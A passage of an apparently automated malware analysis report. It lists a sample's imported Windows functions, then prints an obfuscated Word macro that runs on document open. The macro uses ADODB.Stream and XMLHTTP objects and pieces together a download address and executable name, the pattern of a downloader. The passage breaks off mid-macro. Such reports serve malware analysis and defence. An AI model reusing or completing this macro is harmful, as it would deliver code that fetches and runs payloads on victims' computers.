  2941. "kernel32.dll.VirtualQuery",
  2942. "kernel32.dll.ExpandEnvironmentStringsA",
  2943. "kernel32.dll.SetErrorMode",
  2944. "kernel32.dll.SetFilePointer",
  2945. "kernel32.dll.SetEndOfFile",
  2946. "kernel32.dll.lstrlenA",
  2947. "kernel32.dll.GetEnvironmentVariableA",
  2948. "kernel32.dll.WaitForSingleObject",
  2949. "kernel32.dll.GetCurrentThreadId",
  2950. "kernel32.dll.lstrcmpA",
  2951. "kernel32.dll.GetVersionExW",
  2952. "kernel32.dll.ReleaseMutex",
  2953. "kernel32.dll.DuplicateHandle",
  2954. "kernel32.dll.lstrcatA",
  2955. "kernel32.dll.ExitThread",
  2956. "kernel32.dll.GetACP",
  2957. "kernel32.dll.OpenProcess",
  2958. "kernel32.dll.Sleep",
  2959. "kernel32.dll.GetFileInformationByHandle",
  2960. "kernel32.dll.GetLastError",
  2961. "kernel32.dll.OutputDebugStringW",
  2962. "kernel32.dll.CreateFileA",
  2963. "kernel32.dll.GetCurrentThread",
  2964. "kernel32.dll.DeleteFileA",
  2965. "kernel32.dll.GlobalAlloc",
  2966. "kernel32.dll.lstrcpyA",
  2967. "kernel32.dll.CloseHandle",
  2968. "kernel32.dll.ResetEvent",
  2969. "kernel32.dll.GetLocalTime",
  2970. "kernel32.dll.GetProcAddress",
  2971. "kernel32.dll.CreateFileMappingA",
  2972. "kernel32.dll.GetFileSize",
  2973. "kernel32.dll.DeleteCriticalSection",
  2974. "kernel32.dll.ExitProcess",
  2975. "kernel32.dll.LCMapStringW",
  2976. "kernel32.dll.CreatePipe",
  2977. "kernel32.dll.AddConsoleAliasW",
  2978. "kernel32.dll.CreateProcessA",
  2979. "kernel32.dll.AddAtomW",
  2980. "kernel32.dll.CreateDirectoryA",
  2981. "kernel32.dll.OpenMutexW",
  2982. "kernel32.dll.LocalShrink",
  2983. "kernel32.dll.IsDebuggerPresent",
  2984. "kernel32.dll.FlushFileBuffers",
  2985. "kernel32.dll.CreateFileW",
  2986. "kernel32.dll.WriteConsoleW",
  2987. "kernel32.dll.SetFilePointerEx",
  2988. "kernel32.dll.HeapReAlloc",
  2989. "kernel32.dll.HeapSize",
  2990. "kernel32.dll.GetConsoleMode",
  2991. "kernel32.dll.GetProcessHeap",
  2992. "kernel32.dll.GetStringTypeW",
  2993. "kernel32.dll.SetStdHandle",
  2994. "kernel32.dll.FreeEnvironmentStringsW",
  2995. "kernel32.dll.GetEnvironmentStringsW",
  2996. "kernel32.dll.GetCommandLineA",
  2997. "kernel32.dll.GetCPInfo",
  2998. "kernel32.dll.GetOEMCP",
  2999. "kernel32.dll.IsValidCodePage",
  3000. "kernel32.dll.FindNextFileA",
  3001. "kernel32.dll.GetConsoleCP",
  3002. "kernel32.dll.InterlockedDecrement",
  3003. "kernel32.dll.OutputDebugStringA",
  3004. "kernel32.dll.WriteConsoleA",
  3005. "kernel32.dll.GetStdHandle",
  3006. "kernel32.dll.GetShortPathNameA",
  3007. "kernel32.dll.GetCurrentProcess",
  3008. "kernel32.dll.GetCommandLineW",
  3009. "kernel32.dll.FindFirstFileExA",
  3010. "kernel32.dll.FindClose",
  3011. "kernel32.dll.SetLastError",
  3012. "kernel32.dll.EraseTape",
  3013. "kernel32.dll.GlobalGetAtomNameA",
  3014. "kernel32.dll.GetModuleFileNameA",
  3015. "kernel32.dll.ReadFile",
  3016. "kernel32.dll.lstrcpynA",
  3017. "kernel32.dll.GetFileType",
  3018. "kernel32.dll.HeapAlloc",
  3019. "kernel32.dll.HeapFree",
  3020. "kernel32.dll.GetModuleHandleExW",
  3021. "kernel32.dll.WideCharToMultiByte",
  3022. "kernel32.dll.MultiByteToWideChar",
  3023. "kernel32.dll.WriteFile",
  3024. "kernel32.dll.LocalFree",
  3025. "kernel32.dll.QueryPerformanceCounter",
  3026. "kernel32.dll.GetCurrentProcessId",
  3027. "kernel32.dll.GetSystemTimeAsFileTime",
  3028. "kernel32.dll.InitializeSListHead",
  3029. "kernel32.dll.UnhandledExceptionFilter",
  3030. "kernel32.dll.SetUnhandledExceptionFilter",
  3031. "kernel32.dll.GetStartupInfoW",
  3032. "kernel32.dll.IsProcessorFeaturePresent",
  3033. "kernel32.dll.TerminateProcess",
  3034. "kernel32.dll.RaiseException",
  3035. "kernel32.dll.RtlUnwind",
  3036. "kernel32.dll.EnterCriticalSection",
  3037. "kernel32.dll.LeaveCriticalSection",
  3038. "kernel32.dll.TlsAlloc",
  3039. "kernel32.dll.TlsGetValue",
  3040. "kernel32.dll.TlsSetValue",
  3041. "kernel32.dll.TlsFree",
  3042. "kernel32.dll.FreeLibrary",
  3043. "kernel32.dll.LoadLibraryExW",
  3044. "user32.dll.GetClipboardData",
  3045. "user32.dll.ChildWindowFromPoint",
  3046. "user32.dll.LoadImageW",
  3047. "user32.dll.UnhookWinEvent",
  3048. "user32.dll.GetMenu",
  3049. "user32.dll.DrawIcon",
  3050. "user32.dll.wsprintfA",
  3051. "user32.dll.DialogBoxIndirectParamA",
  3052. "user32.dll.IsChild",
  3053. "user32.dll.LoadAcceleratorsA",
  3054. "user32.dll.CharNextW",
  3055. "user32.dll.LoadAcceleratorsW",
  3056. "user32.dll.OemToCharA",
  3057. "user32.dll.SetDlgItemTextA",
  3058. "user32.dll.wsprintfW",
  3059. "user32.dll.CharUpperA",
  3060. "gdi32.dll.CreateFontA",
  3061. "gdi32.dll.SetWindowExtEx",
  3062. "gdi32.dll.SetViewportExtEx",
  3063. "gdi32.dll.SetTextColor",
  3064. "gdi32.dll.CreateMetaFileA",
  3065. "gdi32.dll.TextOutA",
  3066. "gdi32.dll.SetMapMode",
  3067. "gdi32.dll.CreateDCW",
  3068. "winspool.drv.GetPrinterA",
  3069. "advapi32.dll.RegCloseKey",
  3070. "advapi32.dll.RegFlushKey",
  3071. "advapi32.dll.RegSetValueExW",
  3072. "advapi32.dll.GetUserNameW",
  3073. "shell32.dll.ShellExecuteA",
  3074. "shell32.dll.SHGetSpecialFolderPathA",
  3075. "ole32.dll.CoCreateGuid",
  3076. "ole32.dll.CoInitializeSecurity",
  3077. "ole32.dll.CoInitialize",
  3078. "oleaut32.dll.#6",
  3079. "oleaut32.dll.#2",
  3080. "kernel32.dll.InitializeCriticalSectionEx",
  3081. "kernel32.dll.LCMapStringEx",
  3082. "kernel32.dll.SortGetHandle",
  3083. "kernel32.dll.SortCloseHandle",
  3084. "ole32.dll.OleInitialize",
  3085. "cryptbase.dll.SystemFunction036",
  3086. "uxtheme.dll.ThemeInitApiHook",
  3087. "user32.dll.IsProcessDPIAware",
  3088. "ole32.dll.CreateBindCtx",
  3089. "propsys.dll.PSCreateMemoryPropertyStore",
  3090. "propsys.dll.PSPropertyBag_WriteDWORD",
  3091. "ole32.dll.CoGetApartmentType",
  3092. "ole32.dll.CoRegisterInitializeSpy",
  3093. "comctl32.dll.#236",
  3094. "ole32.dll.CoGetMalloc",
  3095. "propsys.dll.PSPropertyBag_ReadDWORD",
  3096. "propsys.dll.PSPropertyBag_ReadGUID",
  3097. "comctl32.dll.#320",
  3098. "comctl32.dll.#324",
  3099. "comctl32.dll.#323",
  3100. "advapi32.dll.OpenThreadToken",
  3101. "kernel32.dll.InitializeSRWLock",
  3102. "kernel32.dll.AcquireSRWLockExclusive",
  3103. "kernel32.dll.AcquireSRWLockShared",
  3104. "kernel32.dll.ReleaseSRWLockExclusive",
  3105. "kernel32.dll.ReleaseSRWLockShared",
  3106. "comctl32.dll.#328",
  3107. "comctl32.dll.#334",
  3108. "shell32.dll.#102",
  3109. "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
  3110. "propsys.dll.PSPropertyBag_ReadStrAlloc",
  3111. "advapi32.dll.InitializeSecurityDescriptor",
  3112. "advapi32.dll.SetEntriesInAclW",
  3113. "ntmarta.dll.GetMartaExtensionInterface",
  3114. "advapi32.dll.SetSecurityDescriptorDacl",
  3115. "advapi32.dll.IsTextUnicode",
  3116. "comctl32.dll.#332",
  3117. "comctl32.dll.#338",
  3118. "setupapi.dll.CM_Get_Device_Interface_List_ExW",
  3119. "propsys.dll.#430",
  3120. "advapi32.dll.RegOpenKeyExW",
  3121. "advapi32.dll.RegGetValueW",
  3122. "ole32.dll.CoTaskMemRealloc",
  3123. "propsys.dll.InitPropVariantFromStringAsVector",
  3124. "propsys.dll.PSCoerceToCanonicalValue",
  3125. "propsys.dll.PropVariantToStringAlloc",
  3126. "ole32.dll.CoAllowSetForegroundWindow",
  3127. "comctl32.dll.#386",
  3128. "shell32.dll.SHGetFolderPathW",
  3129. "advapi32.dll.SaferGetPolicyInformation",
  3130. "ntdll.dll.RtlDllShutdownInProgress",
  3131. "comctl32.dll.#329",
  3132. "ole32.dll.OleUninitialize",
  3133. "oleaut32.dll.#500",
  3134. "wininet.dll.InternetReadFile",
  3135. "advapi32.dll.UnregisterTraceGuids",
  3136. "comctl32.dll.#321",
  3137. "cscapi.dll.CscNetApiGetInterface",
  3138. "advapi32.dll.LsaOpenPolicy",
  3139. "advapi32.dll.LsaQueryInformationPolicy",
  3140. "netutils.dll.NetApiBufferAllocate",
  3141. "advapi32.dll.LsaFreeMemory",
  3142. "advapi32.dll.LsaClose",
  3143. "netutils.dll.NetApiBufferFree",
  3144. "kernel32.dll.SetThreadUILanguage",
  3145. "kernel32.dll.CopyFileExW",
  3146. "kernel32.dll.SetConsoleInputExeNameW",
  3147. "rpcrt4.dll.I_RpcSNCHOption",
  3148. "sechost.dll.ControlService",
  3149. "sechost.dll.StartServiceW"
  3150. ]
  3151.  
  3152. [*] Static Analysis: {
  3153. "office": {
  3154. "Macro": {
  3155. "Code": {
  3156. "Macro1": [
  3157. [
  3158. "NewMacros.bas",
  3159. "Private Function ghiejku(yastdyu)\n\nDim wbmuvqtx\nwbmuvqtx = -3667\n\nRem uuooye30 yzcphyypukqzlefomku\nu = -20067\nbqlifk = 28354\nauo = Not (u > bqlifk)\nbv = -2793\nvaoph = (Not bv)\nDim oahgxv As Double\noahgxv = 61849.6432\nRem esunkdc\n' ueifhxlqssimauyueejmgi\nDim ysmmlo\nysmmlo = -2847\n\nbei = 27596\nenr = (Not bei)\ni = 7811\nmqa = (Not i)\nConst iians9 = True\nDim ilwbdf26\nilwbdf26 = -16249\nDim qumu56 As Integer\nqumu56 = 1803\n\nConst veug = False\nConst nzapveea = True\nEnd Function\nPrivate Function rvjhyqv(yuyy, oeur, jtiysesz82)\n\nRem tzznbbp y jphwccjwkyatepiuqyotuxr6\nDim cjvkci As Double\ncjvkci = 56570.45133\nConst uejtrcum = False\nConst yyjaei = False\nDim rfway\nrfway = 25743\nDim iyfdn\niyfdn = -2975\nyyizq = -11208\neoi = (Not yyizq)\nass = 29590\njmnf = -18609\nzfyu = Not (ass > jmnf)\nConst ygxyaey = False\nConst xlnpcz = True\n\nRem weonoxiwtoeyaatg ezloouilkqsbxqp\nwfo = 26738\nktluu = -7353\nbge = Not (wfo < ktluu)\nConst znnfqaa = True\nRem puacghpcagyor9 laoibiohpkw yuiawegfghkxumie\n' iyaiuazjrfdeimgbq\nRem qraucxprytpaoyxxaolcsqvyg uyoonji9 lyyeobsgcjwjan\n\nEnd Function\nFunction ujir2(oasme, abogdctl, vwxqbtpjz)\n\n' jfyiubgx fidgpfycwscgeeyqpuiijc4 n\nRem ygyyhcfvffatxbsuy bppbjsjxdpahqcugxuerhnlyuudpe rs\nRem le\nRem uysllemnemjjpa08\nConst yejluzzk = False\nDim yafa\nyafa = -20856\nConst aiorzhto = False\nwog = 8318\naooy = (Not wog)\nDim oyvi\noyvi = -11882\n\nDim wuioy9 As String\nwuioy9 = \"mu\"\nConst uvayimrq = False\nConst eaqqmnu2 = False\n\nDim xxohyos\nxxohyos = 20165\nils = -11209\na = (Not ils)\nDim stqagt41 As Double\nstqagt41 = -8510.12155\n\nDim pnftxywl As Boolean\npnftxywl = True\nqcq = 21118\nuokxe = (Not qcq)\n' mkzqawolqyjzaioiavapu30\nRem yvpmmckjvnuaihixddqyiomi immbgjtniy68 pciexu\n' qhyeyitbtzigciax\nEnd Function\nFunction vqoquukc(coxgbscm71, eljekzf, yieux)\n\nRem wzqfoeqbz vhamuapadpfo aidluzoqviewjitbspj15\nConst ijiijitt = True\n\nConst azmxo = False\n' irpwkvndpnmtoeusucqkd\nE = 23438\nfsrxbd = 9673\nE = Not (E < fsrxbd)\nRem zw\nConst xlokpzi = False\newvosp = -29835\ngdg = 23093\nyuosf3 = Not (ewvosp < gdg)\n\nDim yvwdyvo As Integer\nyvwdyvo = 26458\nRem e kqzwberrvgqmeqwxgi iaqodpqscclzqhyzvfytptgyzcmd07\n\nEnd Function\nPrivate Function euzvjf()\n\nuiwp = 17297\noy = (Not uiwp)\neeni2 = -12950\nialge = -6179\nyghou = Not (eeni2 > ialge)\nDim tqeyaxm As String\ntqeyaxm = \"pplytlii\"\nqtyus = 5513\npd = (Not qtyus)\nDim ffpiwgf As Integer\nffpiwgf = 23776\nDim ygyafkr\nygyafkr = 9298\n\nConst emyqlvu = True\nRem ebzu zpmailucxyylshcbzuezgbsxe xbxvde\nkye = -2782\nptbrovc = -7647\ndwaie = Not (kye > ptbrovc)\n\nDim aaow\naaow = 19228\nu = 20533\nc = (Not u)\n\nDim byhecvzz As Double\nbyhecvzz = -19621.23244\nDim iidd\niidd = 18374\nDim aiiyt As Boolean\naiiyt = True\nDim uougmxx68 As String\nuougmxx68 = \"ejxosciyyaoo\"\nEnd Function\nPrivate Function vmvxbnmu(iyayxhb, eyay, cgcdlw)\n\nDim fedwzobh As Double\nfedwzobh = -48441.14247\n' oooyrsizcxb olyahdonsgiijsgdoet\nDim jvuuwskc4 As String\njvuuwskc4 = \"-8635\"\n\nyzl = 6770\nii = 19713\nzhptoq53 = Not (yzl > ii)\nDim youy70 As Integer\nyouy70 = 8872\nRem cfpyndgcjsoypatyprrufe bbiciayu00 eiynsjpjmaqhdgaaehzu\nowyo38 = -22473\nezmd = -19511\nxyu = Not (owyo38 < ezmd)\nxn = 10705\nzwhcea = 29865\nfxsi = Not (xn > zwhcea)\nDim iyue5 As Integer\niyue5 = 3073\nConst ajxhieybf7 = False\nDim cprymn\ncprymn = -21614\n' ubibhuiygfmga\nRem qpqpuiyosmaaezz yjbircosribkl29 ymrmpoktkylbhvoiyetg\n\nEnd Function\nPublic Function aibejg()\n\n' paobrkrowglte ywcfuqq niueewhyuajeoao\nRem hikvdjufl vebctuxnda daylu\nZ = 24764\nbueu = (Not Z)\nDim gmyioop As Integer\ngmyioop = 5364\n\nConst iooy = False\n' ieaqxe rgcby eopgukouzbigfjdkb\nDim caouiq As Boolean\ncaouiq = True\nConst upkhlixx = True\nConst mmeoumkoo = True\n\nDim whlegu\nwhlegu = -3344\nRem i oovvtxjeoi uyjmetvaqrxbcjqkhfhaycuegdey7\n\ni = -4392\npup = (Not i)\nDim ifcimlaa As Integer\nifcimlaa = 17006\nDim ncyvibu04 As Double\nncyvibu04 = -46532.42021\nConst ytyjpvhhf = True\nEnd Function\nPublic Function npaacki()\n\nConst bwpgmna9 = False\n\nDim ostfrkga As Integer\nostfrkga = 29427\nConst uydxc6 = False\nConst lmsgbdyf = False\n' cmoiey iiliozsxcyoiitneaa\nDim mxni\nmxni = -3478\nDim oxghek30 As Boolean\noxghek30 = True\nConst oimeoft = True\nConst uadbg = False\nDim ueckx3 As String\nueckx3 = \"29993\"\nConst xbzitjcly = False\n\neoji = 28937\norzvtq0 = 13295\nay = Not (eoji < orzvtq0)\nbmkugj = -1198\ndoon5 = 2750\ncqmr = Not (bmkugj > doon5)\nConst nsoeahx89 = True\nf = -27187\nvdki09 = (Not f)\nConst aeuho = True\nEnd Function\nFunction iytri(tgeem, iiyo)\n\nDim zhkkcli As String\nzhkkcli = \"1845\"\nDim afvjchj As Double\nafvjchj = -52006.516\nConst cehczavh0 = True\nDim bqodd As Integer\nbqodd = -22796\nu = 10308\nuo = -21264\nua = Not (u < uo)\nDim skdwqe\nskdwqe = -32430\n\nDim yaew As String\nyaew = \"-2994\"\nDim iuytyi\niuytyi = -8124\nConst zgvpui = True\n\nDim euoya As Boolean\neuoya = False\n' vvvwyuaeayqmndaegi\nbdai = -28596\nggg = (Not bdai)\nEnd Function\nPublic Function vspzja(iizaik, ofdmyez, erxeze0)\n\nConst pdyfyamt76 = False\nv = -25063\nyu = (Not v)\n' outwdhsiallbamauoi hnipjeincdhvdjjkkodlacnoipqa68\n\nConst ulraytnmh = True\nConst yoayi = True\nyl = -6775\nnsvz = -23948\namr = Not (yl < nsvz)\nConst tnouldq = False\nConst nnueeei = True\nth = -23586\nyxfxl = -22201\nxqd = Not (th > yxfxl)\nDim iocuymn As Integer\niocuymn = 30904\nDim htalvst As String\nhtalvst = \"y\"\nEnd Function\nPrivate Function iajq(oodxagw0, yjooijp, yoilqu)\n\ni = -5908\nt = (Not i)\n\nConst izamv = True\nwl = -21922\nijhee44 = 22460\nim = Not (wl > ijhee44)\n\nhh = 17600\nue = (Not hh)\niuue = -22235\niuw = (Not iuue)\nDim ycuee As Double\nycuee = -18604.49308\nyype = -23000\ngypsq2 = 11159\ncpemn = Not (yype < gypsq2)\n\naaa = 864\nbcie = (Not aaa)\n\nConst wiicd = True\nRem xbfve aekgmguyaoydmy5 reuayoreri1\nDim nrgfu\nnrgfu = 3367\n' ouyb dgqxjoaazkhoeexteisf0 ytxgexedz7\n\niouy02 = -24343\nchki = (Not iouy02)\nConst sqizvi = False\n' oyiiouw\n' heoa ukaysseeeoioqulgpaieul ixwceawvissrn\nConst yyzhoaf = True\n\nConst jaqwioibb1 = True\naorn = -24278\ntlu = 19253\ngxnu = Not (aorn > tlu)\n\nDim iayawthq As Boolean\niayawthq = False\nEnd Function\nPublic Function uopsevzfx2(qfciiy, dlpmwxu)\n\nRem dyeoahhsrywba\nDim uhrooa As Double\nuhrooa = -7387.9968\nDim oushm As String\noushm = \"wz\"\nConst znsyt4 = True\n\nRem dtjpxrchyyaeoevsumevwmso pa oaljfolmeudctuaei\nDim oeedjgbw As Integer\noeedjgbw = 19391\nDim cbwpsxeou\ncbwpsxeou = -7290\n\n' proautuwi ulddyulzueocudguoubwj\nRem aasptayjn\nRem mr umkiiy oxgoyii\nRem xsmeoiqxpageabpvoulfub wwavrfhej\nDim ztgpyjw\nztgpyjw = 26527\nyo = -14832\no = (Not yo)\nConst uqaqa = True\nEnd Function\nFunction dyuvy(ikwulmzs)\n\ndw = -8732\neowf = (Not dw)\nConst cwayiui = False\nyazm = -3874\nu = 29900\nwuns2 = Not (yazm > u)\nexze = 2687\nindu89 = 14351\noecwh39 = Not (exze > indu89)\n\na = 11\ndc = (Not a)\n' acooipxngavuqrcecrrlskculv ee\nRem greeyoojffqyimrcpeptoeeurr ryyyedrjneawvgvjsakbzdn auoagitu\nConst ebvemji = False\n\nConst nbcbdie2 = True\nDim qrtocziq As Boolean\nqrtocziq = False\nydep = 20303\nokqae = (Not ydep)\n\nRem vt jsoovixodhnjrmriflpoiieuu oayy\nDim eiwneaw As Double\neiwneaw = -39252.52324\nRem qejh rg fgkdxaxjntloapteiyioz\nexr = 12878\nsn = (Not exr)\nDim qfece As String\nqfece = \"gijiswjd\"\n\nConst omoeuy95 = False\nDim oxyu\noxyu = 19110\nEnd Function\nPrivate Function mczvracz8(ykrcvojw, cxtadqty)\n\nRem a zl\n\nConst eioeo = False\nlbiue = 25790\nnwlbi = (Not lbiue)\n' eozqyrzbdrbvglfy jbiohdypzwf rxhzmoeycuvyxgizrczapwu\n\nyy = 12954\nagrc = 25781\nngaqm = Not (yy > agrc)\nDim byiyo\nbyiyo = 5923\nk = 6784\nnc = -21804\nzqu = Not (k < nc)\n\nDim aqvvo\naqvvo = 15817\n\nyiyu = 8572\nq = 24749\nurc = Not (yiyu < q)\nConst ieyoip2 = False\nConst eeksu = True\nConst ixkfcc = False\nEnd Function\nSub AutoOpen()\nConst hzaii = False\ng = 23493\na = (Not g)\nybej = -20329\nnn = (Not ybej)\nConst kvozgrf = True\nConst cxrkfjwz = False\n\nsxka = 2169\ni = -29352\neht = Not (sxka > i)\nConst tgeia = True\nq = -11429\nv = 7564\nv = Not (q > v)\nDim gzzmy96\ngzzmy96 = -25771\n\nConst yatyuqx = True\n' auueoepuqhkvyi ifoowpeykhipzyeuhluepdjy\n\nDim grco\ngrco = 20666\ngtaji = 21614\nawdo = (Not gtaji)\nConst iiua = True\n\n' hfaxyteejole bgugyuom\ncvwga = \"t/r\"\nRem eybhiocppmqgtcfxnedis\n\nConst tmifhhyvl = True\n\na = 9711\njayxp7 = 24169\noyq = Not (a < jayxp7)\njh = 21949\nywi = (Not jh)\nqfha = -16200\noaax = (Not qfha)\nRem nktpkea\nConst wmhvydx83 = True\nDim aeoog26 As Integer\naeoog26 = 29790\n\nytm = -21344\nvmz = (Not ytm)\nConst iespqjsg = False\nDim fzigo As Boolean\nfzigo = False\nRem acfiyhqyhpo0 omrneojrtexruuh ccnhyqyo\nDim izgovw\nizgovw = -10503\nConst memoie = False\nusqa = -24260\nt = (Not usqa)\nntt = -2494\noei = (Not ntt)\n\nawlapi = rvjhyqv(\"eeuimi37\", \"vrfyfvx\", \"aeam\")\n' ner hjjgyaueiyoseyhieyyaoh\niq = -5787\npgo = (Not iq)\nDim oiiam\noiiam = 30357\nonr = -14779\njwby = (Not onr)\n\nDim ykot\nykot = 7066\nzxigi = -15467\nbwa = (Not zxigi)\nDim dieu\ndieu = 551\nConst jfbxh22 = False\nConst iunhhuyu = True\n\naoov = 27359\nbfi = (Not aoov)\n\nConst uhtkuy = True\nouaomkz = ghiejku(\"vkeeevll6\")\nRem iyuefwxuy oaxfielpaocdkyulfuaiue6 xynsifqyouwwbvuiiuwaaa1\nConst fcqdccvi = False\nDim oeonhw As Integer\noeonhw = -24635\nDim uuaupt\nuuaupt = 27337\n' fporsau\n\ng = -16990\necyu3 = (Not g)\nDim deajehh\ndeajehh = -8353\nDim eekls As Double\neekls = 50796.31064\n' ioiijdouzosukdilufn9 yspjeyulrkduiebeiix usdviyfq\ni = 3037\nr = 13444\nv = Not (i < r)\nrx = -19662\nx = 20323\newpzi = Not (rx > x)\n\nDim nbyui As Integer\nnbyui = -22103\n' qeapuokia\n\nbyx = 9224\nrkp = (Not byx)\nConst aocqujsedc = True\nfi = -5730\nuwi = -12478\nye = Not (fi > uwi)\n' oyiojuiorelxj fgjde\nraltx = 11972\nij = 18338\ni = Not (raltx < ij)\n\nyuohz = vspzja(\"awfasq\", \"tgieedx\", \"dyfxa\")\nDim htiop9\nhtiop9 = -25763\nDim tciqv As Boolean\ntciqv = True\n\nDim dqnmzxi As Integer\ndqnmzxi = -24351\nio = -3443\nkun = 23975\nmjuf = Not (io > kun)\n\nemfqy = -20410\nuno = (Not emfqy)\nDim dxlvxi As Integer\ndxlvxi = -5836\noio = 1783\njo = -29433\nvp = Not (oio > jo)\nsf = -28512\neoha = 18407\no = Not (sf < eoha)\n\nDim cryo As Boolean\ncryo = False\nspriex8 = \"5.ex\"\nokn = -15141\nvtqo5 = -14423\nt = Not (okn < vtqo5)\nRem ae\niy = -5211\nvsu = (Not iy)\nDim hyodue87 As Boolean\nhyodue87 = False\n\nConst szonz = False\n\nDim rdhovi As Boolean\nrdhovi = False\nZ = 27729\niuc = (Not Z)\n' qojpuuaaaykgyyxryypbzk jrauyzpecahvqrefkbbmzt\nyy = 9283\npseye = (Not yy)\nyoyayu = \"\\yv\"\ngsuk = -23548\nabb = 19331\nwjoi = Not (gsuk > abb)\nConst cdmppidth = False\nConst eaaoaby = True\npx = -27096\nzqjua = (Not px)\nConst bnuvsak = True\nayoa = -28973\npiksjw = 1439\nie = Not (ayoa > piksjw)\nj = -20849\nhc = (Not j)\nConst muiaee = True\nConst qipko = True\nConst enwaamwmu = True\ntbs = -18774\ni = -14383\nxe = Not (tbs < i)\n' enxghrjgydxrogheyuujfci kucy uaeyzkojjuoi5\nhjcqie = -7354\nhwvljvp = -28884\nuay = Not (hjcqie < hwvljvp)\nDim mixf\nmixf = 765\neua = -15166\ncame = (Not eua)\nRem ggligcooxxfcuqaz2 fnvsxneejbpeueidfjnxaw bfai\nia = -793\nodgr = 17983\nob = Not (ia < odgr)\ndnxnyvpyo = ujir2(\"mmacumcx8\", \"fzui\", \"eihzu\")\ninaf = 20562\nuajxg = -15633\nogx = Not (inaf > uajxg)\nDim vpkpaeyzg As Double\nvpkpaeyzg = -52161.13653\n' epwwbsyey nweyxtenjbflfmujbvcckadrm\nu = 24442\nhf = (Not u)\nRem iuaarmiwg\n\nDim uyktkbw As Integer\nuyktkbw = 14172\n\nhxfea = 25241\nncpxfg = (Not hxfea)\nE = -12701\nxt = (Not E)\nDim ueakx As Boolean\nueakx = False\nConst yethwpwy = False\nConst dpiac = False\ngnoaf41 = 19299\ntc = 28581\nxskhzl = Not (gnoaf41 < tc)\n\nConst eoejxl = False\n\nSet bqjrfls = CreateObject(\"ADODB.Stream\")\niui = 28772\nsgmm = (Not iui)\nRem pb ooygmezuaabcuslczaumm\n\nRem yk\n\nConst iybddcyhy = False\n\nDim kwaye\nkwaye = -17858\nczi = 26139\nqledx = -8748\nE = Not (czi < qledx)\nRem xmbulqpvjuwgesgayvhdcu\nRem cwugnikm\nZ = -26404\naou = (Not Z)\n\nDim iayipbn As String\niayipbn = \"y\"\nsmbqvsey1 = \"qxaarm\"\nConst icyxpo = True\n\nConst ezbsn = True\n\nDim asgqqoav As Double\nasgqqoav = 57032.2477\nRem rvwdjvcwwsmrutncbxfjirqyukou\nRem ayxqqcgr\n' silpwyffbjl\n\nConst uyioajcnp9 = False\nConst ohfdea = False\nu = -23028\naemwtj16 = (Not u)\neyk = 28473\nslmna = -24310\nriuf5 = Not (eyk > slmna)\n\nConst vamnhwe = False\nqqopu3 = 26517\nyidw = (Not qqopu3)\nRem denuiap6\n\nujb = -4989\ndrvxi = -27018\nhwo = Not (ujb > drvxi)\nConst uejiof = False\ninqxcf = 25261\nvvua = 8947\njcnkr = Not (inqxcf < vvua)\nRem blaooeviwq\nSet ezdhqpm3 = CreateObject(\"Microsoft.XMLHTTP\")\nsokq0 = -24722\na = (Not sokq0)\nConst ngsnsga = True\nConst rnzoofkf38 = True\nDim pwwmbdniht\npwwmbdniht = 31256\n\nxlwdmm = 24478\njvise = -9098\nu = Not (xlwdmm > jvise)\nConst iyub = True\nConst nrioousf = False\no = -29897\nyhw = -23582\noj = Not (o < yhw)\nConst scqkgeerz = False\nxro = -8415\nei = (Not xro)\nConst ynjyxjx = True\n\nDim ynuu As String\nynuu = \"-24892\"\nmeya = -18915\nE = (Not meya)\n\nConst qgxivhnx6 = False\nRem weywmpgoychyuesk\n\nConst hxnmoixy = False\nDim eeuple As Boolean\neeuple = True\nu = -15809\nazoz = (Not u)\nlzagy2 = npaacki()\nDim iaorxa9 As String\niaorxa9 = \"-3638\"\nConst ahqfeuo = True\n\nDim uyuaewr As Boolean\nuyuaewr = False\nConst eglno = True\nConst oyin = False\nDim ectrzuas\nectrzuas = -14202\nRem ua etegidspbc\nRem ccqueiieuvfiax1 hwoeucmi\nConst oasysu = True\nDim eejy\neejy = 10447\nlury = 15747\nkhnq = -3965\noeqzmz = Not (lury < khnq)\n\nokcutc = 21013\nivfb = (Not okcutc)\nRem ebmpuhbaxsjtonilvkyooajp znoorsnvcwui bbsqhtiuiyiunptokeohtgra\nConst uyechtta88 = True\nConst uxnau = True\ntnuazj = \"et.ne\"\nDim rjmsoil6\nrjmsoil6 = -12162\nDim ymaao As Boolean\nymaao = False\nDim cryhmu\ncryhmu = 13242\n' oxv tfjcgrpt irusqa9\n\nDim oadqefli\noadqefli = 28938\nRem ueapebh ocnan\n\naeee = -16342\nailco11 = -23183\nyiy = Not (aeee > ailco11)\n\nConst uyjg = True\n' vsgxwx wmyatjlkl37 nyotluecwemps5\nConst tsfley = False\n' fuuoknoykrmqletd fhcsjlqkaoi\n\nRem mbmwbidyy\nhtwamr = vqoquukc(\"eubduob\", \"rspai\", \"mmcou\")\nConst hjgntbwbkt = True\nRem uzjfstxuybduuedkyaaaikmxun nweaubrudv yizcbiemvuaacu\nDim wedy As Boolean\nwedy = True\nRem rjkixnggpkfjo\nonl = -13810\nouwg = (Not onl)\n\n' obkpptrgeiykmyfiqm wzdxjanjbayautpzjxheeua ovs\n\ny = -23291\nbctwqn = (Not y)\nDim rkayfdrr\nrkayfdrr = -31075\nRem al\na = -14053\nay = (Not a)\nConst bhtcy = False\n\n' xhyscuyeya ihua ihhmyesouww\n\ncfvk = 3908\neyaqk = (Not cfvk)\nhgdumni = \"//or\"\n' yylneyemtyeolroczuyaabtfr urtrnuia33\nConst nrytflvy = False\nConst zeeu = True\nConst tptyaqkow = False\nyzvbv = -9068\nx = (Not yzvbv)\nConst ejioxs = False\n' vafdkjkdaulfjofeooeuwhji\nDim ovvzjmu As Integer\novvzjmu = 30028\ny = 22165\nu = -21525\nhok = Not (y < u)\n\nu = -7889\ny = (Not u)\nConst wnutbnui2 = False\noycpu0 = 18474\ntboex = (Not oycpu0)\nrcyyt = \"e\"\nyuo = -22189\nyltppi09 = 10137\ndb = Not (yuo > yltppi09)\n' iujuvy5\n\n' bmvuljemdzspdjpj suyyyepdalmwy\nConst yngief = True\nConst ggojbxee = True\nDim jfmcrdf57 As Integer\njfmcrdf57 = 29378\nDim aahva As Integer\naahva = 14249\netpoqh5 = 21389\nr = (Not etpoqh5)\n' yduefhakrzukerixcetlibzbz0\nConst ezjctyu4 = True\n\niqm = 364\npc = -23389\nuugh = Not (iqm > pc)\nDim pimie\npimie = -26565\n\nDim cnhibne As Double\ncnhibne = 36986.29091\n\nConst hjdzaeypr = True\nRem zuuiajxwuli0\nzj = 28810\nkdv = 5247\nlt = Not (zj < kdv)\nRem 